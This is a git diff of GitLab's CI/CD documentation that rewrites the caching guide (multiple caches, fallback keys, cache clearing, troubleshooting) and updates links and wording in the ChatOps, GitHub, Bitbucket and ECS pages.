-| [ChatOps](chatops/index.md) | Trigger CI jobs from chat, with results sent back to the channel. |
-|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------|
-| **Verify** | |
-| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. |
-| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. |
-| [CI services](services/index.md) | Link Docker containers with your base image. |
-| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. |
-| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. |
-| [Interactive Web Terminals](interactive_web_terminal/index.md) **(FREE SELF)** | Open an interactive web terminal to debug the running jobs. |
-| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. |
-| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. |
-|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------|
-| **Release** | |
-| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. |
-| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. |
-| [Canary Deployments](../user/project/canary_deployments.md) | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. |
-| [Deploy Boards](../user/project/deploy_boards.md) | Check the current health and status of each CI/CD environment running on Kubernetes. |
-| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. |
-| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. |
-| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. |
-| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. |
-| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. |
-|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------|
-| **Secure** | |
-| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities. |
-| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. |
-| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. |
-| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. |
-
-## Examples
-
-Find example project code and tutorials for using GitLab CI/CD with a variety of app frameworks, languages, and platforms
-on the [CI Examples](examples/README.md) page.
-
-## Administration **(FREE SELF)**
-
-As a GitLab administrator, you can change the default behavior
-of GitLab CI/CD for:
-
-- An [entire GitLab instance](../user/admin_area/settings/continuous_integration.md).
-- Specific projects, using [pipelines settings](pipelines/settings.md).
-
-See also:
-
-- [How to enable or disable GitLab CI/CD](enable_or_disable_ci.md).
-- Other [CI administration settings](../administration/index.md#continuous-integration-settings).
-
-## References
-
-### Why GitLab CI/CD?
-
-Learn more about:
-
-- [Why you might chose GitLab CI/CD](https://about.gitlab.com/blog/2016/10/17/gitlab-ci-oohlala/).
-- [Reasons you might migrate from another platform](https://about.gitlab.com/blog/2016/07/22/building-our-web-app-on-gitlab-ci/).
-- [5 Teams that made the switch to GitLab CI/CD](https://about.gitlab.com/blog/2019/04/25/5-teams-that-made-the-switch-to-gitlab-ci-cd/)
-
-See also the [Why CI/CD?](https://docs.google.com/presentation/d/1OGgk2Tcxbpl7DJaIOzCX4Vqg3dlwfELC3u2jEeCBbDk) presentation.
-
-### Breaking changes
-
-As GitLab CI/CD has evolved, certain breaking changes have
-been necessary. These are:
-
-#### 13.0
-
-- [Remove Backported `os.Expand`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4915).
-- [Remove Fedora 29 package support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/16158).
-- [Remove macOS 32-bit support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25466).
-- [Removed `debug/jobs/list?v=1` endpoint](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6361).
-- [Remove support for array of strings when defining services for Docker executor](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4922).
-- [Remove `--docker-services` flag on register command](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6404).
-- [Remove legacy build directory caching](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4180).
-- [Remove `FF_USE_LEGACY_VOLUMES_MOUNTING_ORDER` feature flag](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6581).
-- [Remove support for Windows Server 1803](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6553).
-
-#### 12.0
-
-- [Use `refspec` to clone/fetch Git repository](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4069).
-- [Old cache configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4070).
-- [Old metrics server configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4072).
-- [Remove `FF_K8S_USE_ENTRYPOINT_OVER_COMMAND`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4073).
-- [Remove Linux distributions that reach EOL](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1130).
-- [Update command line API for helper images](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4013).
-- [Remove old `git clean` flow](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4175).
-
-#### 11.0
-
-- No breaking changes.
-
-#### 10.0
-
-- No breaking changes.
+<!-- This redirect file can be deleted after 2021-09-28. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/caching/img/clear_runners_cache.png b/doc/ci/caching/img/clear_runners_cache.png
deleted file mode 100644
index 4f1171513ad..00000000000
--- a/doc/ci/caching/img/clear_runners_cache.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md
index 0778d598d32..0ed1e978168 100644
--- a/doc/ci/caching/index.md
+++ b/doc/ci/caching/index.md
@@ -5,13 +5,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: index, concepts, howto
---
-# Caching in GitLab CI/CD
+# Caching in GitLab CI/CD **(FREE)**
A cache is one or more files that a job downloads and saves. Subsequent jobs that use
the same cache don't have to download the files again, so they execute more quickly.
To learn how to define the cache in your `.gitlab-ci.yml` file,
-see the [`cache` reference](../yaml/README.md#cache).
+see the [`cache` reference](../yaml/index.md#cache).
## How cache is different from artifacts
@@ -19,114 +19,127 @@ Use cache for dependencies, like packages you download from the internet.
Cache is stored where GitLab Runner is installed and uploaded to S3 if
[distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching).
-- You can define it per job by using the `cache:` keyword. Otherwise it is disabled.
-- You can define it per job so that:
- - Subsequent pipelines can use it.
- - Subsequent jobs in the same pipeline can use it, if the dependencies are identical.
-- You cannot share it between projects.
-
Use artifacts to pass intermediate build results between stages.
Artifacts are generated by a job, stored in GitLab, and can be downloaded.
-- You can define artifacts per job. Subsequent jobs in later stages of the same
- pipeline can use them.
-- You can't use the artifacts in a different pipeline.
-
-Artifacts expire after 30 days unless you define an [expiration time](../yaml/README.md#artifactsexpire_in).
-Use [dependencies](../yaml/README.md#dependencies) to control which jobs fetch the artifacts.
-
Both artifacts and caches define their paths relative to the project directory, and
can't link to files outside it.
+### Cache
+
+- Define cache per job by using the `cache:` keyword. Otherwise it is disabled.
+- Subsequent pipelines can use the cache.
+- Subsequent jobs in the same pipeline can use the cache, if the dependencies are identical.
+- Different projects cannot share the cache.
+
+### Artifacts
+
+- Define artifacts per job.
+- Subsequent jobs in later stages of the same pipeline can use artifacts.
+- Different projects cannot share artifacts.
+
+Artifacts expire after 30 days unless you define an [expiration time](../yaml/index.md#artifactsexpire_in).
+Use [dependencies](../yaml/index.md#dependencies) to control which jobs fetch the artifacts.
+
## Good caching practices
-To ensure maximum availability of the cache, when you declare `cache` in your jobs,
-use one or more of the following:
+To ensure maximum availability of the cache, do one or more of the following:
- [Tag your runners](../runners/configure_runners.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs
- that share their cache.
+ that share the cache.
- [Use runners that are only available to a particular project](../runners/runners_scope.md#prevent-a-specific-runner-from-being-enabled-for-other-projects).
-- [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example,
- different caches on each branch). For that, you can take advantage of the
- [predefined CI/CD variables](../variables/README.md#predefined-cicd-variables).
+- [Use a `key`](../yaml/index.md#cachekey) that fits your workflow. For example,
+ you can configure a different cache for each branch.
For runners to work with caches efficiently, you must do one of the following:
- Use a single runner for all your jobs.
-- Use multiple runners (in autoscale mode or not) that use
+- Use multiple runners that have
[distributed caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching),
- where the cache is stored in S3 buckets (like shared runners on GitLab.com).
-- Use multiple runners (not in autoscale mode) of the same architecture that
- share a common network-mounted directory (using NFS or something similar)
- where the cache is stored.
+ where the cache is stored in S3 buckets. Shared runners on GitLab.com behave this way. These runners can be in autoscale mode,
+ but they don't have to be.
+- Use multiple runners with the same architecture and have these runners
+ share a common network-mounted directory to store the cache. This directory should use NFS or something similar.
+ These runners must be in autoscale mode.
-Read about the [availability of the cache](#availability-of-the-cache)
-to learn more about the internals and get a better idea how cache works.
+## Use multiple caches
-### Share caches between jobs in the same branch
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32814) in GitLab 13.10.
+> - [Feature Flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321877), in GitLab 13.12.
-Define a cache with the `key: ${CI_COMMIT_REF_SLUG}` so that jobs of each
-branch always use the same cache:
+You can have a maximum of four caches:
```yaml
-cache:
- key: ${CI_COMMIT_REF_SLUG}
+test-job:
+ stage: build
+ cache:
+ - key:
+ files:
+ - Gemfile.lock
+ paths:
+ - vendor/ruby
+ - key:
+ files:
+ - yarn.lock
+ paths:
+ - .yarn-cache/
+ script:
+ - bundle install --path=vendor
+ - yarn install --cache-folder .yarn-cache
+ - echo Run tests...
```
-This configuration is safe from accidentally overwriting the cache, but merge requests
-get slow first pipelines. The next time a new commit is pushed to the branch, the
-cache is re-used and jobs run faster.
+If multiple caches are combined with a fallback cache key,
+the fallback cache is fetched every time a cache is not found.
-To enable per-job and per-branch caching:
+## Use a fallback cache key
-```yaml
-cache:
- key: "$CI_JOB_NAME-$CI_COMMIT_REF_SLUG"
-```
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1534) in GitLab Runner 13.4.
-To enable per-stage and per-branch caching:
-
-```yaml
-cache:
- key: "$CI_JOB_STAGE-$CI_COMMIT_REF_SLUG"
-```
+You can use the `$CI_COMMIT_REF_SLUG` [predefined variable](../variables/predefined_variables.md)
+to specify your [`cache:key`](../yaml/index.md#cachekey). For example, if your
+`$CI_COMMIT_REF_SLUG` is `test`, you can set a job to download cache that's tagged with `test`.
-### Share caches across jobs in different branches
+If a cache with this tag is not found, you can use `CACHE_FALLBACK_KEY` to
+specify a cache to use when none exists.
-To share a cache across all branches and all jobs, use the same key for everything:
+In the following example, if the `$CI_COMMIT_REF_SLUG` is not found, the job uses the key defined
+by the `CACHE_FALLBACK_KEY` variable:
```yaml
-cache:
- key: one-key-to-rule-them-all
-```
-
-To share caches between branches, but have a unique cache for each job:
+variables:
+ CACHE_FALLBACK_KEY: fallback-key
-```yaml
-cache:
- key: ${CI_JOB_NAME}
+job1:
+ script:
+ - echo
+ cache:
+ key: "$CI_COMMIT_REF_SLUG"
+ paths:
+ - binaries/
```
-### Disable cache for specific jobs
+## Disable cache for specific jobs
+
+If you define the cache globally, each job uses the
+same definition. You can override this behavior for each job.
-If you have defined the cache globally, it means that each job uses the
-same definition. You can override this behavior per-job, and if you want to
-disable it completely, use an empty hash:
+To disable it completely for a job, use an empty hash:
```yaml
job:
cache: {}
```
-### Inherit global configuration, but override specific settings per job
+## Inherit global configuration, but override specific settings per job
You can override cache settings without overwriting the global cache by using
-[anchors](../yaml/README.md#anchors). For example, if you want to override the
+[anchors](../yaml/index.md#anchors). For example, if you want to override the
`policy` for one job:
```yaml
cache: &global_cache
- key: ${CI_COMMIT_REF_SLUG}
+ key: $CI_COMMIT_REF_SLUG
paths:
- node_modules/
- public/
@@ -141,24 +154,66 @@ job:
policy: pull
```
-For more fine tuning, read also about the
-[`cache: policy`](../yaml/README.md#cachepolicy).
+For more information, see [`cache: policy`](../yaml/index.md#cachepolicy).
+
+## Common use cases for caches
+
+Usually you use caches to avoid downloading content, like dependencies
+or libraries, each time you run a job. Node.js packages,
+PHP packages, Ruby gems, Python libraries, and others can be cached.
+
+For examples, see the [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
+
+### Share caches between jobs in the same branch
+
+To have jobs in each branch use the same cache, define a cache with the `key: $CI_COMMIT_REF_SLUG`:
+
+```yaml
+cache:
+ key: $CI_COMMIT_REF_SLUG
+```
+
+This configuration prevents you from accidentally overwriting the cache. However, the
+first pipeline for a merge request is slow. The next time a commit is pushed to the branch, the
+cache is re-used and jobs run faster.
-## Common use cases
+To enable per-job and per-branch caching:
-The most common use case of caching is to avoid downloading content like dependencies
-or libraries repeatedly between subsequent runs of jobs. Node.js packages,
-PHP packages, Ruby gems, Python libraries, and others can all be cached.
+```yaml
+cache:
+ key: "$CI_JOB_NAME-$CI_COMMIT_REF_SLUG"
+```
-For more examples, check out our [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
+To enable per-stage and per-branch caching:
+
+```yaml
+cache:
+ key: "$CI_JOB_STAGE-$CI_COMMIT_REF_SLUG"
+```
+
+### Share caches across jobs in different branches
+
+To share a cache across all branches and all jobs, use the same key for everything:
+
+```yaml
+cache:
+ key: one-key-to-rule-them-all
+```
+
+To share a cache between branches, but have a unique cache for each job:
+
+```yaml
+cache:
+ key: $CI_JOB_NAME
+```
### Cache Node.js dependencies
-If your project is using [npm](https://www.npmjs.com/) to install the Node.js
+If your project uses [npm](https://www.npmjs.com/) to install Node.js
dependencies, the following example defines `cache` globally so that all jobs inherit it.
-By default, npm stores cache data in the home folder `~/.npm` but you
-[can't cache things outside of the project directory](../yaml/README.md#cachepaths).
-Instead, we tell npm to use `./.npm`, and cache it per-branch:
+By default, npm stores cache data in the home folder (`~/.npm`). However, you
+[can't cache things outside of the project directory](../yaml/index.md#cachepaths).
+Instead, tell npm to use `./.npm`, and cache it per-branch:
```yaml
#
@@ -168,7 +223,7 @@ image: node:latest
# Cache modules in between jobs
cache:
- key: ${CI_COMMIT_REF_SLUG}
+ key: $CI_COMMIT_REF_SLUG
paths:
- .npm/
@@ -182,8 +237,8 @@ test_async:
### Cache PHP dependencies
-Assuming your project is using [Composer](https://getcomposer.org/) to install
-the PHP dependencies, the following example defines `cache` globally so that
+If your project uses [Composer](https://getcomposer.org/) to install
+PHP dependencies, the following example defines `cache` globally so that
all jobs inherit it. PHP libraries modules are installed in `vendor/` and
are cached per-branch:
@@ -195,7 +250,7 @@ image: php:7.2
# Cache libraries in between jobs
cache:
- key: ${CI_COMMIT_REF_SLUG}
+ key: $CI_COMMIT_REF_SLUG
paths:
- vendor/
@@ -211,9 +266,9 @@ test:
### Cache Python dependencies
-Assuming your project is using [pip](https://pip.pypa.io/en/stable/) to install
-the Python dependencies, the following example defines `cache` globally so that
-all jobs inherit it. Python libraries are installed in a virtual environment under `venv/`,
+If your project uses [pip](https://pip.pypa.io/en/stable/) to install
+Python dependencies, the following example defines `cache` globally so that
+all jobs inherit it. Python libraries are installed in a virtual environment under `venv/`.
pip's cache is defined under `.cache/pip/` and both are cached per-branch:
```yaml
@@ -252,7 +307,7 @@ test:
### Cache Ruby dependencies
-Assuming your project is using [Bundler](https://bundler.io) to install the
+If your project uses [Bundler](https://bundler.io) to install
gem dependencies, the following example defines `cache` globally so that all
jobs inherit it. Gems are installed in `vendor/ruby/` and are cached per-branch:
@@ -264,7 +319,7 @@ image: ruby:2.6
# Cache gems in between builds
cache:
- key: ${CI_COMMIT_REF_SLUG}
+ key: $CI_COMMIT_REF_SLUG
paths:
- vendor/ruby
@@ -277,7 +332,7 @@ rspec:
- rspec spec
```
-If you have jobs that each need a different selection of gems, use the `prefix`
+If you have jobs that need different gems, use the `prefix`
keyword in the global `cache` definition. This configuration generates a different
cache for each job.
@@ -289,7 +344,7 @@ cache:
key:
files:
- Gemfile.lock
- prefix: ${CI_JOB_NAME}
+ prefix: $CI_JOB_NAME
paths:
- vendor/ruby
@@ -310,7 +365,7 @@ deploy_job:
### Cache Go dependencies
-Assuming your project is using [Go Modules](https://github.com/golang/go/wiki/Modules) to install
+If your project uses [Go Modules](https://github.com/golang/go/wiki/Modules) to install
Go dependencies, the following example defines `cache` in a `go-cache` template, that
any job can extend. Go modules are installed in `${GOPATH}/pkg/mod/` and
are cached for all of the `go` projects:
@@ -334,35 +389,33 @@ test:
## Availability of the cache
-Caching is an optimization, but it isn't guaranteed to always work. You need to
-be prepared to regenerate any cached files in each job that needs them.
+Caching is an optimization, but it isn't guaranteed to always work. You might need
+to regenerate cached files in each job that needs them.
-After you have defined a [cache in `.gitlab-ci.yml`](../yaml/README.md#cache),
+After you define a [cache in `.gitlab-ci.yml`](../yaml/index.md#cache),
the availability of the cache depends on:
-- The runner's executor type
+- The runner's executor type.
- Whether different runners are used to pass the cache between jobs.
### Where the caches are stored
-The runner is responsible for storing the cache, so it's essential
-to know **where** it's stored. All the cache paths defined under a job in
-`.gitlab-ci.yml` are archived in a single `cache.zip` file and stored in the
-runner's configured cache location. By default, they are stored locally in the
-machine where the runner is installed and depends on the type of the executor.
+All caches defined for a job are archived in a single `cache.zip` file.
+The runner configuration defines where the file is stored. By default, the cache
+is stored on the machine where GitLab Runner is installed. The location also depends on the type of executor.
-| GitLab Runner executor | Default path of the cache |
+| Runner executor | Default path of the cache |
| ---------------------- | ------------------------- |
-| [Shell](https://docs.gitlab.com/runner/executors/shell.html) | Locally, stored under the `gitlab-runner` user's home directory: `/home/gitlab-runner/cache/<user>/<project>/<cache-key>/cache.zip`. |
-| [Docker](https://docs.gitlab.com/runner/executors/docker.html) | Locally, stored under [Docker volumes](https://docs.gitlab.com/runner/executors/docker.html#the-builds-and-cache-storage): `/var/lib/docker/volumes/<volume-id>/_data/<user>/<project>/<cache-key>/cache.zip`. |
-| [Docker machine](https://docs.gitlab.com/runner/executors/docker_machine.html) (autoscale runners) | Behaves the same as the Docker executor. |
+| [Shell](https://docs.gitlab.com/runner/executors/shell.html) | Locally, under the `gitlab-runner` user's home directory: `/home/gitlab-runner/cache/<user>/<project>/<cache-key>/cache.zip`. |
+| [Docker](https://docs.gitlab.com/runner/executors/docker.html) | Locally, under [Docker volumes](https://docs.gitlab.com/runner/executors/docker.html#the-builds-and-cache-storage): `/var/lib/docker/volumes/<volume-id>/_data/<user>/<project>/<cache-key>/cache.zip`. |
+| [Docker Machine](https://docs.gitlab.com/runner/executors/docker_machine.html) (autoscale runners) | The same as the Docker executor. |
If you use cache and artifacts to store the same path in your jobs, the cache might
be overwritten because caches are restored before artifacts.
### How archiving and extracting works
-This example has two jobs that belong to two consecutive stages:
+This example shows two jobs in two consecutive stages:
```yaml
stages:
@@ -394,7 +447,7 @@ job B:
- vendor/
```
-If you have one machine with one runner installed, and all jobs for your project
+If one machine has one runner installed, then all jobs for your project
run on the same host:
1. Pipeline starts.
@@ -434,27 +487,54 @@ different architecture (for example, when the cache includes binary files). Also
because the different steps might be executed by runners running on different
machines, it is a safe default.
+## Clearing the cache
+
+Runners use [cache](../yaml/index.md#cache) to speed up the execution
+of your jobs by reusing existing data. This can sometimes lead to
+inconsistent behavior.
+
+There are two ways to start with a fresh copy of the cache.
+
+### Clear the cache by changing `cache:key`
+
+Change the value for `cache: key` in your `.gitlab-ci.yml` file.
+The next time the pipeline runs, the cache is stored in a different location.
+
+### Clear the cache manually
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41249) in GitLab 10.4.
+
+You can clear the cache in the GitLab UI:
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **CI/CD > Pipelines** page.
+1. In the top right, select **Clear runner caches**.
+
+On the next commit, your CI/CD jobs use a new cache.
+
+NOTE:
+Each time you clear the cache manually, the [internal cache name](#where-the-caches-are-stored) is updated. The name uses the format `cache-<index>`, and the index increments by one. The old cache is not deleted. You can manually delete these files from the runner storage.
+
+## Troubleshooting
+
### Cache mismatch
-In the following table, you can see some reasons where you might hit a cache
-mismatch and a few ideas how to fix it.
+If you have a cache mismatch, follow these steps to troubleshoot.
-| Reason of a cache mismatch | How to fix it |
-| -------------------------- | ------------- |
-| You use multiple standalone runners (not in autoscale mode) attached to one project without a shared cache | Use only one runner for your project or use multiple runners with distributed cache enabled |
-| You use runners in autoscale mode without a distributed cache enabled | Configure the autoscale runner to use a distributed cache |
-| The machine the runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. There's no automatic way to do this. |
+| Reason for a cache mismatch | How to fix it |
+| --------------------------- | ------------- |
+| You use multiple standalone runners (not in autoscale mode) attached to one project without a shared cache. | Use only one runner for your project or use multiple runners with distributed cache enabled. |
+| You use runners in autoscale mode without a distributed cache enabled. | Configure the autoscale runner to use a distributed cache. |
+| The machine the runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space. | Make sure you clear some space to allow new caches to be stored. There's no automatic way to do this. |
| You use the same `key` for jobs where they cache different paths. | Use different cache keys to that the cache archive is stored to a different location and doesn't overwrite wrong caches. |
-Let's explore some examples.
-
-#### Examples
+#### Cache mismatch example 1
-Let's assume you have only one runner assigned to your project, so the cache
-is stored in the runner's machine by default.
+If you have only one runner assigned to your project, the cache
+is stored on the runner's machine by default.
-Two jobs could cause caches to be overwritten if they have the same cache key, but
-they cache a different path:
+If two jobs have the same cache key but a different path, the caches can be overwritten.
+For example:
```yaml
stages:
@@ -486,11 +566,14 @@ job B:
1. The next time `job A` runs it uses the cache of `job B` which is different
and thus isn't effective.
-To fix that, use different `keys` for each job.
+To fix this issue, use different `keys` for each job.
-In another case, let's assume you have more than one runner assigned to your
-project, but the distributed cache is not enabled. The second time the
-pipeline is run, we want `job A` and `job B` to re-use their cache (which in this case
+#### Cache mismatch example 2
+
+In this example, you have more than one runner assigned to your
+project, and distributed cache is not enabled.
+
+The second time the pipeline runs, you want `job A` and `job B` to re-use their cache (which in this case
is different):
```yaml
@@ -516,46 +599,4 @@ job B:
```
Even if the `key` is different, the cached files might get "cleaned" before each
-stage if the jobs run on different runners in the subsequent pipelines.
-
-## Clearing the cache
-
-Runners use [cache](../yaml/README.md#cache) to speed up the execution
-of your jobs by reusing existing data. This however, can sometimes lead to an
-inconsistent behavior.
-
-To start with a fresh copy of the cache, there are two ways to do that.
-
-### Clearing the cache by changing `cache:key`
-
-All you have to do is set a new `cache: key` in your `.gitlab-ci.yml`. In the
-next run of the pipeline, the cache is stored in a different location.
-
-### Clearing the cache manually
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41249) in GitLab 10.4.
-
-If you want to avoid editing `.gitlab-ci.yml`, you can clear the cache
-via the GitLab UI:
-
-1. Navigate to your project's **CI/CD > Pipelines** page.
-1. Click on the **Clear runner caches** button to clean up the cache.
-
- ![Clear runner caches](img/clear_runners_cache.png)
-
-1. On the next push, your CI/CD job uses a new cache.
-
-NOTE:
-Each time you clear the cache manually, the [internal cache name](#where-the-caches-are-stored) is updated. The name uses the format `cache-<index>`, and the index increments by one each time. The old cache is not deleted. You can manually delete these files from the runner storage.
-
-<!-- ## Troubleshooting
-
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
-
-Each scenario can be a third-level heading, e.g. `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
+stage if the jobs run on different runners in subsequent pipelines.
diff --git a/doc/ci/chatops/README.md b/doc/ci/chatops/README.md
deleted file mode 100644
index 577a80407d7..00000000000
--- a/doc/ci/chatops/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'index.md'
-remove_date: '2021-05-01'
----
-
-This document was moved to [another location](index.md).
-
-<!-- This redirect file can be deleted after 2021-05-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/chatops/index.md b/doc/ci/chatops/index.md
index 5f661731660..03a1005c9bc 100644
--- a/doc/ci/chatops/index.md
+++ b/doc/ci/chatops/index.md
@@ -25,23 +25,23 @@ with the following arguments:
- A `<job name>` to execute.
- The `<job arguments>`.
-ChatOps passes the following [CI/CD variables](../variables/README.md#predefined-cicd-variables)
+ChatOps passes the following [CI/CD variables](../variables/index.md#predefined-cicd-variables)
to the job:
- `CHAT_INPUT` contains any additional arguments.
- `CHAT_CHANNEL` is set to the name of channel the action was triggered in.
When executed, ChatOps looks up the specified job name and attempts to match it
-to a corresponding job in [`.gitlab-ci.yml`](../yaml/README.md). If a matching job
-is found on `master`, a pipeline containing only that job is scheduled. After the
+to a corresponding job in [`.gitlab-ci.yml`](../yaml/index.md). If a matching job
+is found on the default branch, a pipeline containing only that job is scheduled. After the
job completes:
- If the job completes in *less than 30 minutes*, the ChatOps sends the job's output to Slack.
- If the job completes in *more than 30 minutes*, the job must use the
[Slack API](https://api.slack.com/) to send data to the channel.
-To use the `run` command, you must have
-[Developer access or above](../../user/permissions.md#project-members-permissions).
+To use the `run` command, you must have at least the
+[Developer role](../../user/permissions.md#project-members-permissions).
If a job shouldn't be able to be triggered from chat, you can set the job to `except: [chat]`.
## Best practices for ChatOps CI jobs
@@ -53,11 +53,11 @@ functions available. Consider these best practices when creating ChatOps jobs:
of the standard CI pipeline.
- If the job is set to `when: manual`, ChatOps creates the pipeline, but the job waits to be started.
- ChatOps provides limited support for access control. If the user triggering the
- slash command has [Developer access or above](../../user/permissions.md#project-members-permissions)
+ slash command has at least the [Developer role](../../user/permissions.md#project-members-permissions)
in the project, the job runs. The job itself can use existing
- [CI/CD variables](../variables/README.md#predefined-cicd-variables) like
+ [CI/CD variables](../variables/index.md#predefined-cicd-variables) like
`GITLAB_USER_ID` to perform additional rights validation, but
- these variables can be [overridden](../variables/README.md#cicd-variable-precedence).
+ these variables can be [overridden](../variables/index.md#cicd-variable-precedence).
### Controlling the ChatOps reply
diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md
index 4d3f12dff05..7eaafcf21bb 100644
--- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md
+++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md
@@ -20,7 +20,7 @@ To use GitLab CI/CD with a Bitbucket Cloud repository:
![Create project](img/external_repository.png)
- GitLab imports the repository and enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository).
+ GitLab imports the repository and enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pull-from-a-remote-repository).
1. In GitLab create a
[Personal Access Token](../../user/profile/personal_access_tokens.md)
diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md
index c6fa049dc6e..7a79794f322 100644
--- a/doc/ci/ci_cd_for_external_repos/github_integration.md
+++ b/doc/ci/ci_cd_for_external_repos/github_integration.md
@@ -22,7 +22,7 @@ cannot be used to authenticate with GitHub as an external CI/CD repository.
## Connect with Personal Access Token
Personal access tokens can only be used to connect GitHub.com
-repositories to GitLab, and the GitHub user must have the [owner role](https://docs.github.com/en/github/getting-started-with-github/access-permissions-on-github).
+repositories to GitLab, and the GitHub user must have the [owner role](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github).
To perform a one-off authorization with GitHub to grant GitLab access your
repositories:
@@ -46,7 +46,7 @@ repositories:
GitLab:
1. Imports the project.
-1. Enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository)
+1. Enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pull-from-a-remote-repository)
1. Enables [GitHub project integration](../../user/project/integrations/github.md)
1. Creates a web hook on GitHub to notify GitLab of new commits.
diff --git a/doc/ci/cloud_deployment/ecs/quick_start_guide.md b/doc/ci/cloud_deployment/ecs/quick_start_guide.md
index a801be549df..9cf9d2a1f06 100644
--- a/doc/ci/cloud_deployment/ecs/quick_start_guide.md
+++ b/doc/ci/cloud_deployment/ecs/quick_start_guide.md
@@ -14,7 +14,7 @@ In this guide, you begin by creating an ECS cluster manually using the AWS conso
deploy a simple application that you create from a GitLab template.
These instructions work for both SaaS and self-managed GitLab instances.
-Ensure your own [runners are configured](../../runners/README.md).
+Ensure your own [runners are configured](../../runners/index.md).
## Prerequisites
@@ -211,7 +211,7 @@ Do not share the secret access key in a public place. You must save it in a secu
### Setup credentials in GitLab to let pipeline jobs access to ECS
-You can register the access information in [GitLab Environment Variables](../../variables/README.md#custom-cicd-variables).
+You can register the access information in [GitLab Environment Variables](../../variables/index.md#custom-cicd-variables).
These variables are injected into the pipeline jobs and can access the ECS API.
1. Go to **ecs-demo** project on GitLab.
diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md
index e8f3fe3f4d9..c14d94fcd61 100644
